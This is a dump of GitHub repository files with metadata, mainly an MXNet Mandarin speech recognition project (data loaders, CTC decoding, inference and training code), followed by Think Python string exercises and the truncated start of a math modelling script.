enumerate(label):\n batch_label[i, :label_samp.shape[0]] = label_samp\n\n return batch_data, batch_label\n\n\nclass LanguageDataLoader():\n \"\"\" language dataloader \"\"\"\n def __init__(self, list_path, input_depth, seq_len, py_to_idx, ch_to_idx,\n batch_size, shuffle=True, num_workers=0):\n dataset = LanguageDataSet(list_path, input_depth, py_to_idx, ch_to_idx)\n batchify_fn = partial(_language_batchify_fn, seq_len=seq_len)\n self.data_loader = mx.gluon.data.DataLoader(\n dataset = dataset,\n batch_size = batch_size,\n shuffle = shuffle,\n last_batch = 'keep',\n num_workers = num_workers,\n batchify_fn = batchify_fn)\n self.batch_size = batch_size\n self.provide_data = [mx.io.DataDesc(**{'name': 'data', 'shape': (batch_size, seq_len, input_depth)})]\n self.provide_label = [mx.io.DataDesc(**{'name': 'label', 'shape': (batch_size, seq_len)})]\n self.reset()\n\n def __iter__(self):\n return self\n\n def reset(self):\n self.data_iter = iter(self.data_loader)\n\n def __next__(self):\n return self.next()\n\n def next(self):\n data, label = next(self.data_iter)\n num_pad = self.batch_size - len(data)\n if num_pad > 0: # zero padding for last batch\n # zeros batch\n raw_data, raw_label = data, label\n data = mx.nd.zeros(shape=(self.batch_size, *data.shape[1:]), dtype=data.dtype)\n label= mx.nd.zeros(shape=(self.batch_size, *label.shape[1:]), dtype=label.dtype)\n # padding\n data[:-num_pad], label[:-num_pad] = raw_data, raw_label\n return mx.io.DataBatch(data=[data], label=[label], pad=num_pad)\n\n\nif __name__ == '__main__':\n import json\n import time\n\n list_path = '/home/dengmengling/Public/thchs30_fbank/list_files/train.lst'\n py_dict = '/home/dengmengling/Public/thchs30_fbank/dict/pinyins_to_index.json'\n ch_dict = '/home/dengmengling/Public/thchs30_fbank/dict/characters_to_index.json'\n with open(py_dict) as fd:\n py_to_idx = json.load(fd)\n with open(ch_dict) as fd:\n ch_to_dix = json.load(fd)\n py_dict = '/home/dengmengling/Public/thchs30_fbank/dict/index_to_pinyins.json'\n ch_dict = '/home/dengmengling/Public/thchs30_fbank/dict/index_to_characters.json'\n with open(py_dict) as fd:\n idx_to_py = json.load(fd)\n with open(ch_dict) as fd:\n idx_to_ch = json.load(fd)\n\n data_loader = SpeechDataLoader(list_path, py_to_idx, 1632, 48, 32, 8, shuffle=False)\n start = time.time()\n for i, batch in enumerate(iter(data_loader)):\n for j, data_samp in enumerate(batch.data[0]):\n print('Batch %d, data_sample shape: ' % i, data_samp.shape)\n for j in range(32):\n print('Batch %d, label_samp shape: ' % i, batch.label[0][j].shape)\n print('Batch %d, data_len_samp shape: ' % i, batch.label[1][j].shape)\n print('Batch %d, label_len_samp shape: ' % i, batch.label[2][j].shape)\n print('totol cost: %f' % (time.time() - start))\n\n data_loader = LanguageDataLoader(list_path, 1208, 48, py_to_idx, ch_to_dix, 32)\n batch = next(data_loader)\n for batch in data_loader:\n for i in range(len(batch.data)):\n py_seq = [idx_to_py[str(int(idx.asnumpy().tolist()[0]))] for idx in mx.nd.argmax(batch.data[0][i], axis=1)]\n ch_seq = [idx_to_ch[str(int(idx.asnumpy().tolist()[0]))] for idx in batch.label[0][i]]\n py_line = ' '.join(py_seq)\n ch_line = ' '.join(ch_seq)\n print('拼音序列:', py_line)\n print('汉子序列:', ch_line)\n\n # start = time.time()\n # for i, batch in enumerate(iter(data_loader)):\n # print('data_shape: ', batch.data[0].shape)\n # print('label_shape: ', batch.label[0].shape)\n # print('data:', batch.data[0])\n # print('label:', batch.label[0])\n # print('totol cost: %f' % (time.time() - start))\n\n" }, { "alpha_fraction": 0.5141727328300476, "alphanum_fraction": 0.555372416973114, "avg_line_length": 29.646465301513672, "blob_id": "06aba552be73ff405babd6a520ffe56ee6d0c471", "content_id": "b9ff4546806626f7996e56e2ff21282977c1dad4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3102, "license_type": "no_license", "max_line_length": 112, "num_lines": 99, "path": "/util/vocal.py", "repo_name": "Joke-s/mandarin_speech_recognition", "src_encoding": "UTF-8", "text": "\"\"\" 语言模型标签处理 \"\"\"\n\nimport math\nimport numpy as np\nfrom functools import reduce\nfrom itertools import groupby\n\n\ndef build_dict(samples):\n \"\"\" 生成转换字典:\n\n py_to_idx: 拼音转序号\n ch_to_idx: 汉字转序号\n idx_to_py: 序号转拼音\n idx_to_ch: 汉字转序号\n \"\"\"\n pinyins, characters = [], []\n for sample in samples:\n pinyins.append(sample['pinyins'])\n characters.append(sample['characters'])\n pinyins = sorted(reduce(lambda x, y: set(x) | set(y), pinyins))\n characters = sorted(reduce(lambda x, y: set(x) | set(y), characters))\n pinyins = ['_'] + list(pinyins)\n py_to_idx = {py: idx for py, idx in zip(pinyins, range(len(pinyins)))}\n ch_to_idx = {ch: idx for ch, idx in zip(characters, range(len(characters)))}\n idx_to_py = {idx: py for py, idx in zip(pinyins, range(len(pinyins)))}\n idx_to_ch = {idx: ch for ch, idx in zip(characters, range(len(characters)))}\n\n return py_to_idx, ch_to_idx, idx_to_py, idx_to_ch\n\n\n############################################## probilities decode ##############################################\n\ndef beam_search_decode(probs, topK=1):\n \"\"\" beam search decode\n :param probs: np.array\n matrix-like with shape: [time_step, num_cls]\n :param topK: int\n top k path\n :return pred: list of list\n top k path prediction\n \"\"\"\n eps = 1e-12\n sequences = [[list(), 1.0]]\n # loop in time step\n for prob in probs:\n candidates = []\n # expand each current candidate\n for seq, score in sequences:\n # loop for all probilities in a row\n for i, c_prob in enumerate(prob):\n c_prob = max(c_prob, eps)\n candidate = [seq+[i], score*-math.log(c_prob)]\n candidates.append(candidate)\n ordered = sorted(candidates, key=lambda x: x[1])\n sequences = ordered[:topK]\n return sequences\n\n\ndef greedy_decode(probs):\n \"\"\" greedy decode\n :param probs: list of list\n matrix-like with shape: [time_step, num_cls]\n :return pred: list with shape [time_step, ]\n decoded path prediction\n \"\"\"\n return np.argmax(probs, axis=1)\n\n\ndef ctc_alignment(pred):\n \"\"\" ctc alignment: reduplicate, remove blank \"\"\"\n # reduplication\n reduped = np.array([x[0] for x in groupby(pred)])\n # remove blank\n removed = reduped[np.nonzero(reduped)]\n return removed\n\n\nif __name__ == '__main__':\n # ctc alignment\n pred = np.array([0, 1, 2, 1, 1, 4, 3, 0, 3, 0, 3, 3, 4, 5, 6])\n print('ctc alignment:', ctc_alignment(pred))\n\n # greedy decode\n probs = np.array([[0.1, 0.2, 0.3, 0.4, 0.5],\n [0.5, 0.4, 0.3, 0.2, 0.1],\n [0.1, 0.2, 0.3, 0.4, 0.5],\n\t[0.5, 0.4, 0.3, 0.2, 0.1],\n\t[0.1, 0.2, 0.3, 0.4, 0.5],\n\t[0.5, 0.4, 0.3, 0.2, 0.1],\n\t[0.1, 0.2, 0.3, 0.4, 0.5],\n\t[0.5, 0.4, 0.3, 0.2, 0.1],\n\t[0.1, 0.2, 0.3, 0.4, 0.5],\n\t[0.5, 0.4, 0.3, 0.2, 0.1]])\n print('greedy decode:', greedy_decode(probs))\n\n # beam search decode\n for path in beam_search_decode(probs, 3):\n print('beam search path:', path)\n" }, { "alpha_fraction": 0.6586028337478638, "alphanum_fraction": 0.6694643497467041, "avg_line_length": 48.40243911743164, "blob_id": "c1cca57e55c21951a10f678c46240f2220abd650", "content_id": "beb05409947706ff252f33ff8999a8d84cbb988f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4135, "license_type": "no_license", "max_line_length": 120, "num_lines": 82, "path": "/infer.py", "repo_name": "Joke-s/mandarin_speech_recognition", "src_encoding": "UTF-8", "text": "\"\"\" script for inference \"\"\"\n\nimport json\nimport argparse\nimport mxnet as mx\nimport numpy as np\nfrom util.audio import compute_fbank\nfrom util.vocal import greedy_decode\nfrom util.vocal import ctc_alignment\n\n\ndef infer(sym, arg_params, aux_params, input, data_shapes):\n # model initialization\n mod = mx.module.Module(sym, data_names=['data'], label_names=[], context=mx.cpu())\n mod.bind(data_shapes=data_shapes, for_training=False)\n mod.set_params(arg_params=arg_params, aux_params=aux_params)\n # prediction\n mod.forward(mx.io.DataBatch(data=[input]), is_train=False)\n prediction = mod.get_outputs()[0].asnumpy()\n\n return prediction\n\n\ndef speech_recognition(wav, acoustic_model, language_model, idx_to_py, idx_to_ch):\n # acoustic inference\n ast_input = mx.nd.array(compute_fbank(wav))\n ast_data = mx.nd.zeros(shape=(1, 1, 1632, 200), dtype='float32')\n ast_data[:, :, :len(ast_input), :] = ast_input\n ast_data_shapes = [mx.io.DataDesc(**{'name': 'data', 'shape': ast_data.shape})]\n ast_prediction = infer(*acoustic_model, ast_data, ast_data_shapes)\n ast_idx_seq = ctc_alignment(greedy_decode(ast_prediction[0])) # one sample only\n py_seq = [idx_to_py[str(int(x))] for x in ast_idx_seq]\n print('预测的拼音序列为:')\n print(' '.join(py_seq))\n\n # language inference\n lng_data = mx.nd.zeros(shape=(1, 48, 1208), dtype='float32')\n py_idx_seq = mx.nd.one_hot(mx.nd.array(ast_idx_seq), depth=1208, dtype='float32')\n seq_len = min(48, py_idx_seq.shape[0])\n lng_data[:, :seq_len, :] = py_idx_seq[:seq_len]\n lng_data_shapes = [mx.io.DataDesc(**{'name': 'data', 'shape': lng_data.shape})]\n lng_prediction = infer(*language_model, lng_data, lng_data_shapes)\n lng_idx_seq = np.argmax(lng_prediction[0], axis=1)[:seq_len]\n ch_seq = [idx_to_ch[str(int(x))] for x in lng_idx_seq]\n print('预测的汉字序列为(语言模型预测最长序列长度为48,声学模型超过部分将被截取):')\n print(' '.join(ch_seq))\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='inference for speech recognition')\n parser.add_argument('wav', type=str, help='wav file path')\n parser.add_argument('--idx_to_py', type=str,\n help='path of dict for convertion from index to pinyin',\n default='/home/dengmengling/Public/thchs30_fbank/dict/index_to_pinyins.json')\n parser.add_argument('--idx_to_ch', type=str,\n help='path of dict for convertion from index to characters',\n default='/home/dengmengling/Public/thchs30_fbank/dict/index_to_characters.json')\n parser.add_argument('--acoustic_checkpoint', type=str,\n help='symbol path of acoustic model',\n default='/home/dengmengling/Downloads/cnn_rnn_ctc/cnn_rnn_ctc')\n parser.add_argument('--acoustic_epoch', type=int, help='acoustic checkpoint epoch', default=196)\n parser.add_argument('--acoustic_out_name', type=str, help='name of acoustic output layer', default='predict_output')\n parser.add_argument('--language_checkpoint', type=str,\n help='symbol path of acoustic model',\n default='/home/dengmengling/Downloads/lng_cbhg/lng_cbhg')\n parser.add_argument('--language_epoch', type=int, help='language checkpoint epoch', default=14)\n parser.add_argument('--language_out_name', type=str, help='name of language output layer', default='predict_output')\n args = parser.parse_args()\n\n # args parsing\n with open(args.idx_to_py) as fd:\n idx_to_py = json.load(fd)\n with open(args.idx_to_ch) as fd:\n idx_to_ch = json.load(fd)\n ast_sym, ast_arg_params, ast_aux_params = mx.model.load_checkpoint(args.acoustic_checkpoint, args.acoustic_epoch)\n lng_sym, lng_arg_params, lng_aux_params = mx.model.load_checkpoint(args.language_checkpoint, args.language_epoch)\n ast_sym, lng_sym = ast_sym.get_internals()[args.acoustic_out_name], lng_sym.get_internals()[args.language_out_name]\n\n speech_recognition(args.wav,\n (ast_sym, ast_arg_params, ast_aux_params),\n (lng_sym, lng_arg_params, lng_aux_params),\n idx_to_py, idx_to_ch)\n" }, { "alpha_fraction": 0.5681096315383911, "alphanum_fraction": 0.5698646306991577, "avg_line_length": 40.12027359008789, "blob_id": "99a600736ccbece4cb5e1951848cdbd7576344ac", "content_id": "adfe2a827611886063883737346da4cd7a36cf9c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11966, "license_type": "no_license", "max_line_length": 116, "num_lines": 291, "path": "/model/model.py", "repo_name": "Joke-s/mandarin_speech_recognition", "src_encoding": "UTF-8", "text": "\"\"\" model \"\"\"\n\nimport json\nimport logging\nimport mxnet as mx\nfrom mxnet.model import BatchEndParam\nfrom model.symbol import cnn_dnn_ctc\nfrom model.symbol import cnn_rnn_ctc\nfrom model.symbol import conv2s_ctc\nfrom model.symbol import multi_rnn\nfrom model.symbol import cbhg\nfrom model.metric import SpeechMetric\nfrom model.metric import LanguageMetric\nfrom data.data_loader import SpeechDataLoader\nfrom data.data_loader import LanguageDataLoader\n\n\n########################################### custom callback ###########################################\n\nclass AdaptedLrScheduler():\n \"\"\" adapted learning rate scheduler \"\"\"\n def __init__(self, lr_factor, thresh):\n self.lr_factor = lr_factor\n self.thresh = thresh\n\n def __call__(self, optimizer, no_improved):\n if no_improved >= self.thresh:\n optimizer.lr = optimizer.lr * self.lr_factor\n\nclass BestPerformanceRestore():\n \"\"\" restore best performance for model \"\"\"\n def __init__(self, prefix, criteria, rule):\n assert rule in ['greater', 'less']\n self.prefix = prefix\n self.criteria = criteria\n if rule == 'greater':\n self.is_best = lambda x, y: x > y\n else:\n self.is_best = lambda x, y: x < y\n self.rule = rule\n\n @property\n def criteria_name(self):\n return self.criteria\n\n def __call__(self, best_pf, cur_pf, epoch, network):\n cur_val = dict(cur_pf)[self.criteria]\n if self.is_best(cur_val, best_pf['value']):\n mx.model.save_checkpoint(self.prefix, epoch+1, *network)\n best_pf = {'epoch': epoch, 'name': self.criteria, 'value': cur_val}\n return best_pf\n\n\n########################################### load params ###########################################\n\ndef load_params(path):\n \"\"\" loading params \"\"\"\n if path is None:\n return None\n else:\n save_dict = mx.nd.load(path)\n arg_params, aux_params = {}, {}\n for k, v in save_dict.items():\n tp, name = k.split(':', 1)\n if tp == 'arg':\n arg_params[name] = v\n if tp == 'aux':\n aux_params[name] = v\n return {'args': arg_params, 'auxs': aux_params}\n\n\n########################################### Model ###########################################\n\nclass Model():\n \"\"\" base model for acoustic model and language model \"\"\"\n def __init__(self, net_sym, params_path=None):\n self.net_sym = net_sym\n self.net_params = load_params(params_path)\n\n def _build_metric(self, metric_cfg):\n raise NotImplementedError(\"please complete this function!\")\n\n def _build_dataiter(self, iter_cfg):\n raise NotImplementedError(\"please complete this function!\")\n\n def train(self, train_cfg):\n # preparing for training\n if train_cfg['context'][0] == 'gpu':\n context = [mx.gpu(i) for i in train_cfg['context'][1]]\n else:\n context = [mx.cpu(i) for i in train_cfg['context'][1]]\n train_iter = self._build_dataiter(train_cfg['train_iter'])\n valid_iter = self._build_dataiter(train_cfg['valid_iter'])\n # metric\n metric = self._build_metric(train_cfg['metric'])\n # optimizer\n opt_name = train_cfg['optimizer']['name']\n opt_cfg = train_cfg['optimizer']['config']\n optimizer = mx.optimizer.Optimizer.create_optimizer(opt_name, **opt_cfg)\n # batch_end_callback\n frequent = train_cfg['batch_end_callback']['frequent']\n batch_size = train_cfg['train_iter']['batch_size']\n batch_end_callback = mx.callback.Speedometer(batch_size, frequent, False)\n # epoch_end_callback: checkpoint\n rule = train_cfg['epoch_end_callback']['rule']\n criteria_name = train_cfg['epoch_end_callback']['criteria_name']\n checkpoint_prefix = train_cfg['epoch_end_callback']['checkpoint_prefix']\n checkpoint = BestPerformanceRestore(checkpoint_prefix, criteria_name, rule)\n # epoch_end_callback: adapted_lr\n lr_factor = train_cfg['epoch_end_callback']['lr_factor']\n thresh = train_cfg['epoch_end_callback']['thresh']\n adapted_lr = AdaptedLrScheduler(lr_factor, thresh)\n epoch_end_callback = [checkpoint, adapted_lr]\n # training range\n epoch = train_cfg['epoch']\n early_stop = train_cfg['early_stop']\n\n # model initialization\n data_names = train_cfg['data_names']\n label_names= train_cfg['label_names']\n mod = mx.mod.Module(self.net_sym, data_names, label_names, context=context)\n\n # training...\n self._train_process(mod, epoch, train_iter, valid_iter,\n metric, optimizer, batch_end_callback, epoch_end_callback, early_stop)\n\n def eval(self, eval_cfg):\n assert self.net_params is not None, \"model params are required!\"\n\n # preparing for evaluating\n if eval_cfg['context'][0] == 'gpu':\n context = [mx.gpu(i) for i in eval_cfg['context'][1]]\n else:\n context = [mx.cpu(i) for i in eval_cfg['context'][1]]\n eval_iter = self._build_dataiter(eval_cfg['eval_iter'])\n metric = self._build_metric(eval_cfg['metric'])\n frequent = eval_cfg['frequent']\n batch_size = eval_cfg['eval_iter']['batch_size']\n callback = mx.callback.Speedometer(batch_size, frequent, False)\n\n # model initialization\n out_names = eval_cfg['out_names']\n data_names = eval_cfg['data_names']\n out_sym = mx.sym.Group([self.net_sym.get_internals()[name] for name in out_names])\n mod = mx.mod.Module(out_sym, data_names=data_names, label_names=[], context=context) # no label\n mod.bind(data_shapes=eval_iter.provide_data, for_training=False)\n mod.set_params(self.net_params['args'], self.net_params['auxs'], allow_missing=False)\n\n # evaluating\n criteria, predicts = self._eval_process(mod, eval_iter, metric, callback)\n logging.info('\\t'.join(['Evaluattion:'] + ['%s=%f' % (n,v) for n, v in criteria]) + '\\n')\n mx.nd.save(eval_cfg['predict_path'], predicts)\n\n def _eval_process(self, mod, eval_iter, metric, callback):\n outputs = []\n metric.reset()\n eval_iter.reset()\n for nbatch, batch in enumerate(eval_iter):\n # forward\n mod.prepare(batch)\n mod.forward(batch, is_train=False)\n # remove padded samples\n num_pad = batch.pad\n batch_label = batch.label\n batch_out = mod.get_outputs()\n if num_pad > 0:\n batch_out = [out[:-num_pad] if len(out) > num_pad else out for out in batch_out] # shorter is loss\n batch_label= [lab[:-num_pad] for lab in batch_label]\n # metric\n metric.update(batch_label, batch_out)\n # callback\n callback(BatchEndParam(0, nbatch, metric, locals()))\n # save outputs\n if nbatch == 0:\n outputs = [bout.copy() for bout in batch_out]\n else:\n outputs = [mx.nd.concat(out, bout, dim=0) for out, bout in zip(outputs, batch_out)]\n\n criteria = metric.get_name_value()\n return criteria, outputs\n\n def _train_process(self, mod, epoch, train_iter, valid_iter,\n metric, optimizer, batch_end_callback, epoch_end_callback, early_stop=30):\n # params extracting\n checkpoint, adapted_lr = epoch_end_callback\n arg_params = self.net_params['args'] if self.net_params is not None else None\n aux_params = self.net_params['auxs'] if self.net_params is not None else None\n # model initialization\n mod.bind(train_iter.provide_data, train_iter.provide_label, for_training=True)\n mod.init_params(initializer=mx.init.Xavier(),\n arg_params=arg_params,\n aux_params=aux_params,\n allow_missing=False)\n mod.init_optimizer(optimizer=optimizer)\n\n # training loops\n if checkpoint.rule == \"greater\":\n best = {'epoch': 0, 'name': checkpoint.criteria_name, 'value': 0}\n else:\n best = {'epoch': 0, 'name': checkpoint.criteria_name, 'value': 1e10}\n for nepoch in range(epoch):\n metric.reset()\n train_iter = iter(train_iter)\n for nbatch, batch in enumerate(train_iter):\n mod.forward(batch, is_train=True)\n mod.update_metric(metric, batch.label)\n mod.backward()\n mod.update()\n batch_end_callback(BatchEndParam(nepoch, nbatch, metric, locals()))\n # training result present\n result = metric.get_name_value()\n logging_line = 'Epoch[%d]\\t' % nepoch\n logging_line += '\\t'.join(['Train-%s=%f' % (n, v) for n, v in result])\n logging.info(logging_line)\n # sync aux params across devices\n arg_params, aux_params = mod.get_params()\n mod.set_params(arg_params, aux_params)\n # evaluation\n res, _ = self._eval_process(mod, valid_iter, metric, batch_end_callback)\n # epoch end callback\n best = checkpoint(best, res, nepoch, (mod.symbol, arg_params, aux_params))\n adapted_lr(optimizer, nepoch - best['epoch']) # adapted learning rate\n # early stop\n logging.info('Validation Best performance: Epoch[%d] %s=%f'\n % (best['epoch'], best['name'], best['value']))\n if nepoch - best['epoch'] > early_stop:\n break\n # reset train iter\n train_iter.reset()\n\n\nclass AcousticModel(Model):\n def __init__(self, net_info, params_path=None):\n if net_info['net_name'] == 'cnn_dnn_ctc':\n net_sym = cnn_dnn_ctc(net_info['net_cfg'])\n elif net_info['net_name'] == 'cnn_rnn_ctc':\n net_sym = cnn_rnn_ctc(net_info['net_cfg'])\n else:\n raise ValueError('network is not supported!')\n super(AcousticModel, self).__init__(net_sym, params_path)\n\n def _build_dataiter(self, iter_cfg):\n # extracting params\n list_path = iter_cfg['list_path']\n max_seq = iter_cfg['max_seq']\n max_label = iter_cfg['max_label']\n batch_size = iter_cfg['batch_size']\n shrink_times = iter_cfg['shrink_times']\n shuffle = iter_cfg['shuffle']\n num_workers = iter_cfg['num_workers']\n with open(iter_cfg['py_to_idx_path']) as fd:\n py_to_idx = json.load(fd)\n\n return SpeechDataLoader(list_path, py_to_idx,\n max_seq, max_label, batch_size,\n shrink_times, shuffle, num_workers)\n\n def _build_metric(self, metric_cfg):\n return SpeechMetric(metric_cfg['phase'])\n\n\nclass LanguageModel(Model):\n def __init__(self, net_info, params_path):\n if net_info['net_name'] == 'multi_rnn':\n net_sym = multi_rnn(net_info['net_cfg'])\n elif net_info['net_name'] == 'cbhg':\n net_sym = cbhg(net_info['net_cfg'])\n else:\n raise ValueError('network is not supported!')\n super(LanguageModel, self).__init__(net_sym, params_path)\n\n def _build_dataiter(self, iter_cfg):\n # extracting params\n list_path = iter_cfg['list_path']\n input_depth = iter_cfg['input_depth']\n seq_len = iter_cfg['seq_len']\n batch_size = iter_cfg['batch_size']\n shuffle = iter_cfg['shuffle']\n num_workers = iter_cfg['num_workers']\n with open(iter_cfg['py_to_idx_path']) as fd:\n py_to_idx = json.load(fd)\n with open(iter_cfg['ch_to_idx_path']) as fd:\n ch_to_idx = json.load(fd)\n\n return LanguageDataLoader(list_path,\n input_depth, seq_len, py_to_idx,\n ch_to_idx, batch_size, shuffle,\n num_workers)\n\n def _build_metric(self, metric_cfg):\n return LanguageMetric()\n" }, { "alpha_fraction": 0.5814917087554932, "alphanum_fraction": 0.5879374146461487, "avg_line_length": 37.78571319580078, "blob_id": "978c948c35c2b04d3d4a4cd17daf38c74a5b232c", "content_id": "267e6556a8620ac5e20bd26074f81b816d2a9c4a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2208, "license_type": "no_license", "max_line_length": 88, "num_lines": 56, "path": "/util/dataset.py", "repo_name": "Joke-s/mandarin_speech_recognition", "src_encoding": "UTF-8", "text": "\"\"\" dataset utilities(考虑到代码简洁性,未使用并发进行加速) \"\"\"\n\nimport os\nimport json\nimport numpy as np\nfrom tqdm import tqdm\nfrom util.vocal import build_dict\nfrom util.audio import compute_fbank\n\n\nclass SpeechDataSet():\n \"\"\" base class on madarin speech dataset \"\"\"\n def __init__(self, name, data_dir, saved_dir):\n \"\"\" samples: [{'wav': xx, 'feat': xx, 'pinyins': xx, 'characters': xx}, ...] \"\"\"\n self.name = name\n self.data_dir = data_dir\n self.saved_dir = saved_dir\n\n def build_dataset(self):\n \"\"\" unification for dataset \"\"\"\n # building samples\n print('building samples...')\n self.samples = self._build_samples()\n # building dict\n print('building dicts...')\n p2i, c2i, i2p, i2c = build_dict(self.samples)\n dict_dir = os.path.join(self.saved_dir, 'dict')\n os.makedirs(dict_dir)\n with open(os.path.join(dict_dir, 'pinyins_to_index.json'), 'w') as fd:\n json.dump(p2i, fd, ensure_ascii=False, indent=2)\n with open(os.path.join(dict_dir, 'index_to_pinyins.json'), 'w') as fd:\n json.dump(i2p, fd, ensure_ascii=False, indent=2)\n with open(os.path.join(dict_dir, 'characters_to_index.json'), 'w') as fd:\n json.dump(c2i, fd, ensure_ascii=False, indent=2)\n with open(os.path.join(dict_dir, 'index_to_characters.json'), 'w') as fd:\n json.dump(i2c, fd, ensure_ascii=False, indent=2)\n # feature extracting and save\n print('extracting feature...')\n for sample in tqdm(self.samples):\n wav_path = sample['wav']\n feat = compute_fbank(wav_path)\n # restoring\n feat_name = wav_path.split('/')[-1].split('.')[0] + '.npy'\n feat_path = os.path.join(self.saved_dir, feat_name)\n np.save(feat_path, feat)\n # append feature path\n sample['feat'] = feat_path\n # build list for dataset\n print('building lists...')\n self._build_list()\n\n def _build_samples(self):\n raise NotImplementedError(\"please complete this!\")\n\n def _build_list(self):\n raise NotImplementedError(\"please complete this!\")\n" } ]
13
TungstenRain/Python-strings
https://github.com/TungstenRain/Python-strings
24f9fdf43945beac319030671b8b77b95914a3db
e905f0f9473e651377070e413b38a4aebea2f03b
a4d81c3c5119bff27f7e8b8b7b92a84b777f1642
refs/heads/main
2022-12-29T02:12:25.720570
2020-10-09T20:46:45
2020-10-09T20:46:45
301,805,642
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6131967902183533, "alphanum_fraction": 0.6222980618476868, "avg_line_length": 27.387096405029297, "blob_id": "1310d0df19d1e81042aad0bac040615ed9d3f4a9", "content_id": "200dbac31d6a67d5d05eddbf45ed19fdaa247a5e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 879, "license_type": "no_license", "max_line_length": 93, "num_lines": 31, "path": "/slice_palindrome.py", "repo_name": "TungstenRain/Python-strings", "src_encoding": "UTF-8", "text": "\"\"\"\n This module contains code from\n Think Python, 2nd Edition\n by Allen Downey\n http://thinkpython2.com\n\n This is to complete the exercises in Chapter 8: Strings in Think Python 2\n \n Note: Although this is saved in a .py file, code was run on an interpreter to get results\n Note: Using Python 3.9.0\n\"\"\"\ndef is_palindrome(text):\n \"\"\"\n Check to see if a string is a palindrome\n\n return: boolean True or False\n \"\"\"\n return text == text[::-1]\n\ndef user_input():\n \"\"\"\n Request user input to determine if a string is a palindrome\n \"\"\"\n print(\"Welcome! See if a string is a palindrome.\\n\")\n text = input(\"Please enter some text: \")\n if is_palindrome(text):\n print(\"The text you entered: \" + text + \" is a palindrome!\")\n else:\n print(\"The text you entered: \" + text + \" is not a palindrome!\")\n\nuser_input()" }, { "alpha_fraction": 0.6124401688575745, "alphanum_fraction": 0.6208133697509766, "avg_line_length": 27.86206817626953, "blob_id": "75ac0310bbd87510d5b40edc51fbad05b11ae462", "content_id": "a4e6055fc541de5b5b603c7a3fa39554a5a98670", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 836, "license_type": "no_license", "max_line_length": 93, "num_lines": 29, "path": "/count_a.py", "repo_name": "TungstenRain/Python-strings", "src_encoding": "UTF-8", "text": "\"\"\"\n This module contains code from\n Think Python, 2nd Edition\n by Allen Downey\n http://thinkpython2.com\n\n This is to complete the exercises in Chapter 8: Strings in Think Python 2\n \n Note: Although this is saved in a .py file, code was run on an interpreter to get results\n Note: Using Python 3.9.0\n\"\"\"\ndef count_a(input):\n \"\"\"\n Count the number of letter 'a' in a string\n\n return: the number of letter 'a'\n \"\"\"\n return input.count(\"a\")\n \ndef user_input():\n \"\"\"\n Request user input to count the number of letter 'a' in a string\n \"\"\"\n print(\"Welcome to trying out counting the number of 'a's in a string.\\n\")\n text = input(\"Please enter some text: \")\n num_of_a = count_a(text)\n print(\"There are \" + str(num_of_a) + \" letter 'a's in the string: \" + text)\n\nuser_input()" }, { "alpha_fraction": 0.6185770630836487, "alphanum_fraction": 0.6245059370994568, "avg_line_length": 26.618181228637695, "blob_id": "fe21eb29854872d921c5484296251c2d5f9138fa", "content_id": "c372bf49709c47d85a8a87db6596a87934b11c67", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1518, "license_type": "no_license", "max_line_length": 97, "num_lines": 55, "path": "/caesar_cypher.py", "repo_name": "TungstenRain/Python-strings", "src_encoding": "UTF-8", "text": "\"\"\"\n This module contains code from\n Think Python, 2nd Edition\n by Allen Downey\n http://thinkpython2.com\n\n This is to complete the exercises in Chapter 8: Strings in Think Python 2\n \n Note: Although this is saved in a .py file, code was run on an interpreter to get results\n Note: Using Python 3.9.0\n\"\"\"\ndef rotate_letter(letter, amount):\n \"\"\"\n Apply a simple Caesar Cypher by rotating each letter in a word by a user-specified amount\n\n word: string to rotate\n amount: integer, amount to rotate each letter\n\n return: a single-letter string rotated\n \"\"\"\n if letter.isupper():\n start = ord('A')\n elif letter.islower():\n start = ord('a')\n else:\n return letter\n \n c = ord(letter) - start\n i = (c + amount) % 26 + start\n return chr(i)\n\ndef rotate_word(word, amount):\n \"\"\"\n Apply a simple Caesar Cypher by rotating each letter in a word by a user-specified amount\n\n word: string to rotate\n amount: integer, amount to rotate each letter\n\n return: string rotated\n \"\"\"\n res = ''\n for letter in word:\n res += rotate_letter(letter, amount)\n return res\n\ndef user_input():\n \"\"\"\n Request user input to apply a Caesar Cypher to a string\n \"\"\"\n print(\"Welcome! Let's apply a Caesar Cypher to a string.\\n\")\n text = input(\"Please enter some text: \")\n amount = int(input(\"Please enter by how much you want it rotated: \"))\n print(rotate_word(text, amount))\n\nuser_input()" } ]
3
3039625598/2018-
https://github.com/3039625598/2018-
fb26885f0e9f4b056b99a2fb1ef67fc9982013c6
15c37f59ee1351b3c6b2f3d93a7797f2ffd5d9d7
b73d6696a6ce47cc57e87f8a0fea5a663e611d90
refs/heads/master
2020-03-31T12:55:00.897417
2018-10-09T10:49:33
2018-10-09T10:49:33
152,234,340
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4108564555644989, "alphanum_fraction": 0.4711700975894928, "avg_line_length": 28.404254913330078, "blob_id": "237fedfa576084118461c735939b9dc849387ba8", "content_id": "8ea9042ac0fa982bdc214ad4cb320f27f3753f3e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4159, "license_type": "no_license", "max_line_length": 121, "num_lines": 141, "path": "/B_2018支撑材料/math2.py", "repo_name": "3039625598/2018-", "src_encoding": "UTF-8", "text": "def min_l(list,cnc_1_or_2,rgv_state,cnc_state):\n min=float('inf')\n min_num=1\n cnc1={}\n cnc2={}\n for i in range(len(list)):\n if cnc_1_or_2[i]==1:\n cnc1[i]=list[i]\n if cnc_1_or_2[i]==2:\n cnc2[i]=list[i]\n if rgv_state==0:\n n1,n2=1,1\n m1,m2=float('inf'),float('inf')\n for i in cnc1.keys():\n if cnc1[i]<m1:\n m1=cnc1[i]\n n1=i+1\n for i in cnc2.keys():\n if cnc2[i]<m2:\n m2=cnc2[i]\n n2=i+1\n if n1<n2:\n min_num=n1\n else:\n if cnc_state[n2-1]==0:\n min_num=n1\n else:\n min_num=n2\n if 